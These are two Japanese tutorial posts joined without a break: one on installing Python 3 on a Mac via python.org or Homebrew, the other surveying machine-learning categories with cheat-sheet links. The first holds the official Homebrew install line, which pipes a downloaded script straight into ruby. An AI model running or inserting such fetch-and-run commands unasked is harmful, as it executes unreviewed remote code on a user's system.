２回のまとめの中で中古のMacで学習しましょう！
と書きましたがもしターミナルを開いてPythonを使うとなると、そのPythonのバージョンが2系と古いものだと思います。

個人的には
*プログラムの文法を学ぶためだけだったら古いものを使っても問題ない*
と思っています。

新しい3系との違いとしては `print`の書き方や日本語文字列の使い方あたりが違っていて、それ以外だったらほぼ一緒です。

最低限変数,文字列,コメントを半角英数字のみで書いてもプログラムは実行できます。

でも、学習をもう少し進めてアプリケーションを作ってどこかで公開したいというモチベーションがあった場合は最新の3系をインストールすることを推奨します。

というのは2系は、先月2020年1月でサポートが終了して4月に最終リリースをしてそれ以降はセキュリティに問題があっても更新はないからです。また、Python3系がリリースし始めの頃はパッケージの数は2系よりも劣っていましたが今では3系が主流です。

ここでは、Python3系をインストールする方法をまとめてみます。

# Wifi

Python3系をインストールするためにはネットワークに接続する必要があります。
約30MBと容量サイズは必要ないのでフリーWifi or デザリングでいいかと思います。

- フリーwifi
    - [セブンスポット](http://webapp.7spot.jp/)
    - [マクドナルド](http://www.mcdonalds.co.jp/shop/mcdwifi/)
    - [すかいらーく](https://www.skylark.co.jp/wi-fi/)
    - [スタバ](http://starbucks.wi2.co.jp/pc/index_jp.html)
- デザリング
    - [docomo](https://www.nttdocomo.co.jp/service/tethering/)
    - [softbank](https://www.softbank.jp/mobile/network/tethering/)
    - auと楽天はサイト見ても利用方法ページがない:scream:

# Method
Python3系をインストールする方法は

- 公式サイト
- Homebrewを使う

の2つあります

# Official Page
公式ページ
https://www.python.org/downloads/

<img width="50%" alt="python.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/288206/f0d9342f-b595-cac8-2339-81627d324607.png">

ここからパッケージをダウンロードしてインストールするだけです。

# homebrew

MacでPython以外のプログラム・アプリケーションを動かしたい場合はパッケージ管理ツールであるhomebrewを使うのがいいです。

[Homebrew](https://brew.sh/index_ja)

このサイトの通り、
`/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
をターミナルにペーストすればOKです。

あとは、

```bash
brew install python3
```

とすればインストール完了です。

本当にこれだけです。


3系を実行するときは、

```
$ python3
```
です。

`python` のままだと今まで通り2系が実行されます。


念のためpython3がインストールされているか確認するにはバージョンを見ればいいです。

```python
$ python3 -V
Python 3.6.8
```

# PostScript
PCに無料でwifiで接続する話は不要だと思いたい。
今更感が半端ないですが、スマホしか使っていない場合は知らない人がマジョリティな気がしたので掲載してます。:no_mouth:

# Reference
- [pythonclock](https://pythonclock.org/)
- http://pyfound.blogspot.com/2019/12/python-2-sunset.html
機械学習の分類

# はじめに
機械学習を勉強するにあたって、どういう順番で手をつけていこうか。これは自分にとっても非常に悩ましかった。なにしろ基礎知識すらあまりなかったわけで、いろいろあさっていくなかで、なんとなく方向性みたいなのが見えてきたのでまとめてみることにした。万人に参考になるかはなぞである。

# ライブラリあるんだから使えばいいじゃん
それは実に正しい。エンジンの仕組みなんて知らなくても車の運転はできる。大事なのは車を使ってどういう価値を生み出すかだ、車輪の再発明をやっている時間はないのだよ。機械学習ならscikit-learn、ディープラーニングをやるならtensorflowを使えばナウでヤングなAIなんてあっという間ですよ！

確かにそうですけどね、ベースにある理論とか知識とかがあったほうがより適切かつ効果的に道具を選択できるようになると思うんです。あーこのケースならこういう風に解いていけばいいなというのが感覚的にわかるようになるのはとても大事だと思います。

# ではどのようにして
結局行き着いたのは、[scikit-learnのチートシート](https://scikit-learn.org/stable/tutorial/machine_learning_map/index.html)と[Microsoftのチートシート](https://docs.microsoft.com/ja-jp/azure/machine-learning/algorithm-cheat-sheet)。機械学習の分類についてよくまとまっているように感じた。scikit-learnは若干範囲が狭く、より広い分野、新しい分野を扱うならMicrosoftの方がいいと思う。

今後は、以下にあげる項目についての理論的な話からライブラリに頼らずにpython実装を考えてみる。それからライブラリを使えるように進めていきたいと思う。すでに似たようなもっと良質な記事がたくさんあるので、そちらに譲ることも多いと思う（手抜き宣言）。

理解するにあたって必要になってくる高校レベルの数学（微分積分とか行列とか確率統計とか）や、pythonの基本的な使い方については割愛する予定である。

# まず機械学習の分類
カテゴリとしては大きくは3つに分類される。

### 教師あり学習
様々な入力に対する出力を学習させ、未知の入力に対する出力を推定させる。住宅の価格を推定したり、ワインの出来を推定したり、手書き文字を認識するのは教師あり学習で実現する。

### 教師なし学習
高次元のデータを整理し、低次元のデータに射影したり（次元削減）、データをカテゴリ分けする場合に使う。アヤメの分類なんかは教師なし学習で実現する。

### 強化学習
報酬を最大化するために取るべきアクションを学習すること。ゲームを攻略するプログラムだったり、囲碁や将棋のAIと呼ばれるものは強化学習をベースにしている。

## scikit-learnのチートシート
もともと機械学習に特化したライブラリなので、基本的なところは押さえられている。詳細な説明については「[Scikit-learnとは？5分で分かるScikit-learnでできることまとめ](https://ai-kenkyujo.com/2019/07/08/can-do-with-scikit-learn/)」に譲るとして、まずは基本的なアルゴリズムから考える。

![チートシート](https://scikit-learn.org/stable/_static/ml_map.png)

### 回帰(regression)
回帰分析もたくさんあるんだが、

* 線形回帰
    * [単回帰](https://qiita.com/hiro88hyo/items/6f06b72dbbea10deb807)
    * [重回帰](https://qiita.com/hiro88hyo/items/5de0d60e9fb1c970d157)
* [基底関数回帰](https://qiita.com/hiro88hyo/items/11ef220db50a87545027)
* [勾配降下法](https://qiita.com/hiro88hyo/items/b9f449f6d0139849e7a2)
* [正則化：Lasso回帰/Ridge回帰/ElasticNet回帰](https://qiita.com/hiro88hyo/items/d467fa55d7141e8c06e5)


あたり。

### 分類(classification)
犬か猫か鳥か判別したり、文字認識をする

* 2クラス分類
    * [単純パーセプトロン](https://qiita.com/hiro88hyo/items/a81e8e1211e0cd611cf8)
    * [ロジスティック回帰](https://qiita.com/hiro88hyo/items/f5ea62a7e065bef83b6a)
    * サポートベクターマシン
        * [基本編](https://qiita.com/hiro88hyo/items/d17cb02b7356f07d16fb) 
        * [応用編](https://qiita.com/hiro88hyo/items/45772ea5636bda7faf02)
* 多クラス分類
    * 2クラス分類の多クラス化
      * [理論編](https://qiita.com/hiro88hyo/items/683d7d9feab0f33d69ea)
      * [実装編](https://qiita.com/hiro88hyo/items/7f7904ea02dc44ba191e)
    * k近傍法(kNN法)
    * 決定木
      * バギング
      * ブースティング
* ランダムフォレスト

など。

### クラスタリング(clustering)

* k-means法

とか。

### 次元削減

* PCA (主成分分析)
* カーネル主成分分析
* Matrix Factorication

## Microsoftのチートシート
Microsoftは機械学習にとても力を入れてるんですよ、論文もたくさん出してる。

### テキスト解析(自然言語処理)
形態素解析や統計解析ベクトル化など

### 画像分類

### ランク学習

#まとめ
最終的にはニューラルネットワークやらディープラーニングについても勉強していき、kaggleなんかにも進んでいくつもりだが、まずは古典的なところからしっかりやっていきたいと思う。